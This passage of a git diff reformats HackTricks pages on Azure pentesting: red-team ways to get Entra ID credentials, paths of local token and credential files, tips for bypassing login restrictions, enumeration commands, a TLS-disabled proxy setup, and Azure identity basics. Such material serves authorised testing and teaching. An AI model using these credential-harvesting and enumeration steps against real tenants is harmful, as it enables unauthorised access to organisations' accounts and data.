-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
-{% content-ref url="az-basic-information/" %}
-[az-basic-information](az-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+az-basic-information/
+{{#endref}}
 
 ## Azure Pentester/Red Team Methodology
 
@@ -27,94 +14,98 @@ In order to audit an AZURE environment it's very important to know: which **serv
 
 From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that:
 
-* **Leaks** in github (or similar) - OSINT
-* **Social** Engineering
-* **Password** reuse (password leaks)
-* Vulnerabilities in Azure-Hosted Applications
-  * [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
-  * **Local File Read**
-    * `/home/USERNAME/.azure`
-    * `C:\Users\USERNAME\.azure`
-    * The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text**
-    * The file **`azureProfile.json`** contains **info** about logged user.
-    * **`az logout`** removes the token.
-    * Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\
+- **Leaks** in github (or similar) - OSINT
+- **Social** Engineering
+- **Password** reuse (password leaks)
+- Vulnerabilities in Azure-Hosted Applications
+  - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
+  - **Local File Read**
+    - `/home/USERNAME/.azure`
+    - `C:\Users\USERNAME\.azure`
+    - The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text**
+    - The file **`azureProfile.json`** contains **info** about logged user.
+    - **`az logout`** removes the token.
+    - Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\
       Use `Disconnect-AzAccount` to remove them.
-* 3rd parties **breached**
-* **Internal** Employee
-* [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App)
-  * [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
-* [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
+- 3rd parties **breached**
+- **Internal** Employee
+- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App)
+  - [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
+- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
 
 Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it:
 
-{% content-ref url="az-unauthenticated-enum-and-initial-entry/" %}
-[az-unauthenticated-enum-and-initial-entry](az-unauthenticated-enum-and-initial-entry/)
-{% endcontent-ref %}
+{{#ref}}
+az-unauthenticated-enum-and-initial-entry/
+{{#endref}}
 
-{% hint style="info" %}
-After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
-{% endhint %}
+> [!NOTE]
+> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
 
 ## Basic Enumeration
 
-{% hint style="info" %}
-Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself.
-{% endhint %}
+> [!NOTE]
+> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself.
 
 ### SSRF
 
 If you found a SSRF in a machine inside Azure check this page for tricks:
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+{{#endref}}
 
 ### Bypass Login Conditions
 
-<figure><img src="../../.gitbook/assets/image (268).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../images/image (268).png" alt=""><figcaption></figcaption></figure>
 
 In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place:
 
-* **IP whitelisting** -- You need to compromise a valid IP
-* **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least)
-* **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses.
-* You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed
+- **IP whitelisting** -- You need to compromise a valid IP
+- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least)
+- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses.
+- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed
 
 After bypassing it, you might be able to get back to your initial setup and you will still have access.
 
 ### Subdomain Takeover
 
-* [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
+- [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
 
 ### Whoami
 
-{% hint style="danger" %}
-Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section.
-{% endhint %}
+> [!CAUTION]
+> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section.
 
 One of the first things you need to know is **who you are** (in which environment you are):
 
-{% tabs %}
-{% tab title="az cli" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
-az account list 
+az account list
 az account tenant list # Current tenant info
 az account subscription list # Current subscription info
 az ad signed-in-user show # Current signed-in user
 az ad signed-in-user list-owned-objects # Get owned objects by current user
 az account management-group list #Not allowed by default
 ```
-{% endtab %}
 
-{% tab title="AzureAD" %}
+{{#endtab }}
+
+{{#tab name="AzureAD" }}
+
 ```powershell
 #Get the current session state
 Get-AzureADCurrentSessionInfo
 #Get details of the current tenant
 Get-AzureADTenantDetail
 ```
-{% endtab %}
 
-{% tab title="Az PowerShell" %}
+{{#endtab }}
+
+{{#tab name="Az PowerShell" }}
+
 ```powershell
 # Get the information about the current context (Account, Tenant, Subscription etc.)
 Get-AzContext
@@ -130,28 +121,27 @@ Get-AzResource
 Get-AzRoleAssignment # For all users
 Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
 ```
-{% endtab %}
-{% endtabs %}
 
-{% hint style="danger" %}
-Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**.
+{{#endtab }}
+{{#endtabs }}
 
-You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources"
-{% endhint %}
+> [!CAUTION]
+> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**.
+>
+> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources"
 
 ### ENtra ID Enumeration
 
 By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\
 You can find here a guide:
 
-{% content-ref url="az-services/az-azuread.md" %}
-[az-azuread.md](az-services/az-azuread.md)
-{% endcontent-ref %}
+{{#ref}}
+az-services/az-azuread.md
+{{#endref}}
 
-{% hint style="info" %}
-Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
-In the following section you can check some ways to **enumerate some common services.**
-{% endhint %}
+> [!NOTE]
+> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
+> In the following section you can check some ways to **enumerate some common services.**
 
 ## App Service SCM
 
@@ -175,8 +165,9 @@ az account management-group list --output table --debug
 
 In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
 
-{% tabs %}
-{% tab title="Bash" %}
+{{#tabs }}
+{{#tab name="Bash" }}
+
 ```bash
 export ADAL_PYTHON_SSL_NO_VERIFY=1
 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
@@ -189,17 +180,20 @@ export HTTP_PROXY="http://127.0.0.1:8080"
 openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
 export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
 ```
-{% endtab %}
 
-{% tab title="PS" %}
+{{#endtab }}
+
+{{#tab name="PS" }}
+
 ```bash
 $env:ADAL_PYTHON_SSL_NO_VERIFY=1
 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
 $env:HTTPS_PROXY="http://127.0.0.1:8080"
 $env:HTTP_PROXY="http://127.0.0.1:8080"
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ## Automated Recon Tools
 
@@ -215,7 +209,6 @@ roadrecon gui
 
 ### [Monkey365](https://github.com/silverhack/monkey365)
 
-{% code overflow="wrap" %}
 ```powershell
 Import-Module monkey365
 Get-Help Invoke-Monkey365
@@ -223,7 +216,6 @@ Get-Help Invoke-Monkey365 -Detailed
 Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
 Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
 ```
-{% endcode %}
 
 ### [**Stormspotter**](https://github.com/Azure/Stormspotter)
 
@@ -400,24 +392,11 @@ Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
 
 #Get-TenantID
 #This module attempts to gather a tenant ID associated with a domain.
-Get-TenantID -Domain 
+Get-TenantID -Domain
 
 #Invoke-GraphRunner
 #Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
 Invoke-GraphRunner -Tokens $tokens
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md
similarity index 65%
rename from pentesting-cloud/azure-security/az-basic-information/README.md
rename to src/pentesting-cloud/azure-security/az-basic-information/README.md
index 003c4ae03..483d357bd 100644
--- a/pentesting-cloud/azure-security/az-basic-information/README.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md
@@ -1,19 +1,6 @@
 # Az - Basic Information
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Organization Hierarchy
 
@@ -21,23 +8,23 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
 
 ### Management Groups
 
-* It can contain **other management groups or subscriptions**.
-* This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group.
-* **10,000 management** groups can be supported in a single directory.
-* A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level.
-* Each management group and subscription can support **only one parent**.
-* Even if several management groups can be created **there is only 1 root management group**.
-  * The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**.
-* All subscriptions within a single management group must trust the **same Entra ID tenant.**
+- It can contain **other management groups or subscriptions**.
+- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group.
+- **10,000 management** groups can be supported in a single directory.
+- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level.
+- Each management group and subscription can support **only one parent**.
+- Even if several management groups can be created **there is only 1 root management group**.
+  - The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**.
+- All subscriptions within a single management group must trust the **same Entra ID tenant.**
 
-<figure><img src="../../../.gitbook/assets/image (147).png" alt=""><figcaption><p><a href="https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png">https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png</a></p></figcaption></figure>
+<figure><img src="../../../images/image (147).png" alt=""><figcaption><p><a href="https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png">https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png</a></p></figcaption></figure>
 
 ### Azure Subscriptions
 
-* It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed.
-* Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions.
-* It **trust only one Entra ID** directory
-* **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription
+- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed.
+- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions.
+- It **trust only one Entra ID** directory
+- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription
 
 ### Resource Groups
 
@@ -53,11 +40,11 @@ Every resource in Azure has an Azure Resource ID that identifies it.
 
 The format of an Azure Resource ID is as follows:
 
-* `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`
+- `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`
 
 For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this:
 
-* `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
+- `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
 
 ## Azure vs Entra ID vs Azure AD Domain Services
 
@@ -77,74 +64,72 @@ Entra Domain Services extends the capabilities of Entra ID by offering **managed
 
 ### Users
 
-* **New users**
-  * Indicate email name and domain from selected tenant
-  * Indicate Display name
-  * Indicate password
-  * Indicate properties (first name, job title, contact info…)
-    * Default user type is “**member**”
-* **External users**
-  * Indicate email to invite and display name (can be a non Microsft email)
-  * Indicate properties
-    * Default user type is “**Guest**”
+- **New users**
+  - Indicate email name and domain from selected tenant
+  - Indicate Display name
+  - Indicate password
+  - Indicate properties (first name, job title, contact info…)
+    - Default user type is “**member**”
+- **External users**
+  - Indicate email to invite and display name (can be a non Microsft email)
+  - Indicate properties
+    - Default user type is “**Guest**”
 
 ### Members & Guests Default Permissions
 
 You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to:
 
-* Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties
-* Invite Guests (_can be turned off_)
-* Create Security groups
-* Read non-hidden Group memberships
-* Add guests to Owned groups
-* Create new application (_can be turned off_)
-* Add up to 50 devices to Azure (_can be turned off_)
+- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties
+- Invite Guests (_can be turned off_)
+- Create Security groups
+- Read non-hidden Group memberships
+- Add guests to Owned groups
+- Create new application (_can be turned off_)
+- Add up to 50 devices to Azure (_can be turned off_)
 
-{% hint style="info" %}
-Remember that to enumerate Azure resources the user needs an explicit grant of the permission.
-{% endhint %}
+> [!NOTE]
+> Remember that to enumerate Azure resources the user needs an explicit grant of the permission.
 
 ### Users Default Configurable Permissions
 
-* **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
-  * Register Applications: Default **Yes**
-  * Restrict non-admin users from creating tenants: Default **No**
-  * Create security groups: Default **Yes**
-  * Restrict access to Microsoft Entra administration portal: Default **No**
-    * This doesn’t restrict API access to the portal (only web)
-  * Allow users to connect work or school account with LinkedIn: Default **Yes**
-  * Show keep user signed in: Default **Yes**
-  * Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings)
-  * Read other users: Default **Yes** (via Microsoft Graph)
-* **Guests**
-  * **Guest user access restrictions**
-    * **Guest users have the same access as members** grants all member user permissions to guest users by default.
-    * **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed.
-    * **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one.
-  * **Guests can invite**
-    * **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default**
-    * **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions**
-    * **Only users assigned to specific admin roles can invite guest users**
-    * **No one in the organization can invite guest users including admins (most restrictive)**
-  * **External user leave**: Default **True**
-    * Allow external users to leave the organization
+- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
+  - Register Applications: Default **Yes**
+  - Restrict non-admin users from creating tenants: Default **No**
+  - Create security groups: Default **Yes**
+  - Restrict access to Microsoft Entra administration portal: Default **No**
+    - This doesn’t restrict API access to the portal (only web)
+  - Allow users to connect work or school account with LinkedIn: Default **Yes**
+  - Show keep user signed in: Default **Yes**
+  - Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings)
+  - Read other users: Default **Yes** (via Microsoft Graph)
+- **Guests**
+  - **Guest user access restrictions**
+    - **Guest users have the same access as members** grants all member user permissions to guest users by default.
+    - **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed.
+    - **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one.
+  - **Guests can invite**
+    - **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default**
+    - **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions**
+    - **Only users assigned to specific admin roles can invite guest users**
+    - **No one in the organization can invite guest users including admins (most restrictive)**
+  - **External user leave**: Default **True**
+    - Allow external users to leave the organization
 
-{% hint style="success" %}
-Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions.
-{% endhint %}
+> [!TIP]
+> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions.
 
 ### **Groups**
 
 There are **2 types of groups**:
 
-* **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members.
-* **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users.
-  * This will have an **email address** with the domain of the EntraID tenant.
+- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members.
+- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users.
+  - This will have an **email address** with the domain of the EntraID tenant.
 
 There are **2 types of memberships**:
 
-* **Assigned**: Allow to manually add specific members to a group.
-* **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change.
+- **Assigned**: Allow to manually add specific members to a group.
+- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change.
 
 ### **Service Principals**
 
@@ -152,8 +137,8 @@ A **Service Principal** is an **identity** created for **use** with **applicatio
 
 It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it.
 
-* If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again.
-* If you choose certificate authentication, make sure the **application will have access over the private key**.
+- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again.
+- If you choose certificate authentication, make sure the **application will have access over the private key**.
 
 ### App Registrations
 
@@ -174,24 +159,24 @@ An **App Registration** is a configuration that allows an application to integra
 
 **User consent for applications**
 
-* **Do not allow user consent**
-  * An administrator will be required for all apps.
-* **Allow user consent for apps from verified publishers, for selected permissions (Recommended)**
-  * All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization.
-  * **Default** low impact permissions (although you need to accept to add them as low):
-    * User.Read - sign in and read user profile
-    * offline\_access - maintain access to data that users have given it access to
-    * openid - sign users in
-    * profile - view user's basic profile
-    * email - view user's email address
-* **Allow user consent for apps (Default)**
-  * All users can consent for any app to access the organization's data.
+- **Do not allow user consent**
+  - An administrator will be required for all apps.
+- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)**
+  - All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization.
+  - **Default** low impact permissions (although you need to accept to add them as low):
+    - User.Read - sign in and read user profile
+    - offline_access - maintain access to data that users have given it access to
+    - openid - sign users in
+    - profile - view user's basic profile
+    - email - view user's email address
+- **Allow user consent for apps (Default)**
+  - All users can consent for any app to access the organization's data.
 
 **Admin consent requests**: Default **No**
 
-* Users can request admin consent to apps they are unable to consent to
-* If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests
-  * Configure also if users will receive email notifications and expiration reminders&#x20;
+- Users can request admin consent to apps they are unable to consent to
+- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests
+  - Configure also if users will receive email notifications and expiration reminders&#x20;
 
 ### **Managed Identity (Metadata)**
 
@@ -199,8 +184,8 @@ Managed identities in Azure Active Directory offer a solution for **automaticall
 
 There are two types of managed identities:
 
-* **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you.
-* **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**.
+- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you.
+- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**.
 
 Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it.
 
@@ -216,23 +201,23 @@ Administrative units allows to **give permissions from a role over a specific po
 
 Example:
 
-* Scenario: A company wants regional IT admins to manage only the users in their own region.
-* Implementation:
-  * Create Administrative Units for each region (e.g., "North America AU", "Europe AU").
-    * Populate AUs with users from their respective regions.
-      * AUs can **contain users, groups, or devices**
-      * AUs support **dynamic memberships**
-      * AUs **cannot contain AUs**
-    * Assign Admin Roles:
-      * Grant the "User Administrator" role to regional IT staff, scoped to their region's AU.
-* Outcome: Regional IT admins can manage user accounts within their region without affecting other regions.
+- Scenario: A company wants regional IT admins to manage only the users in their own region.
+- Implementation:
+  - Create Administrative Units for each region (e.g., "North America AU", "Europe AU").
+    - Populate AUs with users from their respective regions.
+      - AUs can **contain users, groups, or devices**
+      - AUs support **dynamic memberships**
+      - AUs **cannot contain AUs**
+    - Assign Admin Roles:
+      - Grant the "User Administrator" role to regional IT staff, scoped to their region's AU.
+- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions.
 
 ### Entra ID Roles
 
-* In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID
-  * Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
-* The most privileged role is **Global Administrator**
-* In the Description of the role it’s possible to see its **granular permissions**
+- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID
+  - Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
+- The most privileged role is **Global Administrator**
+- In the Description of the role it’s possible to see its **granular permissions**
 
 ## Roles & Permissions
 
@@ -262,70 +247,68 @@ Depending on the scope the role was assigned to, the **role** cold be **inherite
 
 This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**.
 
-* Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
-* Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
+- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
+- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
 
 ### Custom Roles
 
-* It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
-* They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups)
-* It’s possible to configure all the granular permissions the custom role will have
-* It’s possible to exclude permissions
-  * A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere
-* It’s possible to use wildcards
-* The used format is a JSON
-  * `actions` are for control actions over the resource
-  * `dataActions` are permissions over the data within the object
+- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
+- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups)
+- It’s possible to configure all the granular permissions the custom role will have
+- It’s possible to exclude permissions
+  - A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere
+- It’s possible to use wildcards
+- The used format is a JSON
+  - `actions` are for control actions over the resource
+  - `dataActions` are permissions over the data within the object
 
 Example of permissions JSON for a custom role:
 
 ```json
 {
-    "properties": {
-        "roleName": "",
-        "description": "",
-        "assignableScopes": [
-            "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"
+  "properties": {
+    "roleName": "",
+    "description": "",
+    "assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
+    "permissions": [
+      {
+        "actions": [
+          "Microsoft.DigitalTwins/register/action",
+          "Microsoft.DigitalTwins/unregister/action",
+          "Microsoft.DigitalTwins/operations/read",
+          "Microsoft.DigitalTwins/digitalTwinsInstances/read",
+          "Microsoft.DigitalTwins/digitalTwinsInstances/write",
+          "Microsoft.CostManagement/exports/*"
         ],
-        "permissions": [
-            {
-                "actions": [
-                    "Microsoft.DigitalTwins/register/action",
-                    "Microsoft.DigitalTwins/unregister/action",
-                    "Microsoft.DigitalTwins/operations/read",
-                    "Microsoft.DigitalTwins/digitalTwinsInstances/read",
-                    "Microsoft.DigitalTwins/digitalTwinsInstances/write",
-                    "Microsoft.CostManagement/exports/*"
-                ],
-                "notActions": [
-                    "Astronomer.Astro/register/action",
-                    "Astronomer.Astro/unregister/action",
-                    "Astronomer.Astro/operations/read",
-                    "Astronomer.Astro/organizations/read"
-                ],
-                "dataActions": [],
-                "notDataActions": []
-            }
-        ]
-    }
+        "notActions": [
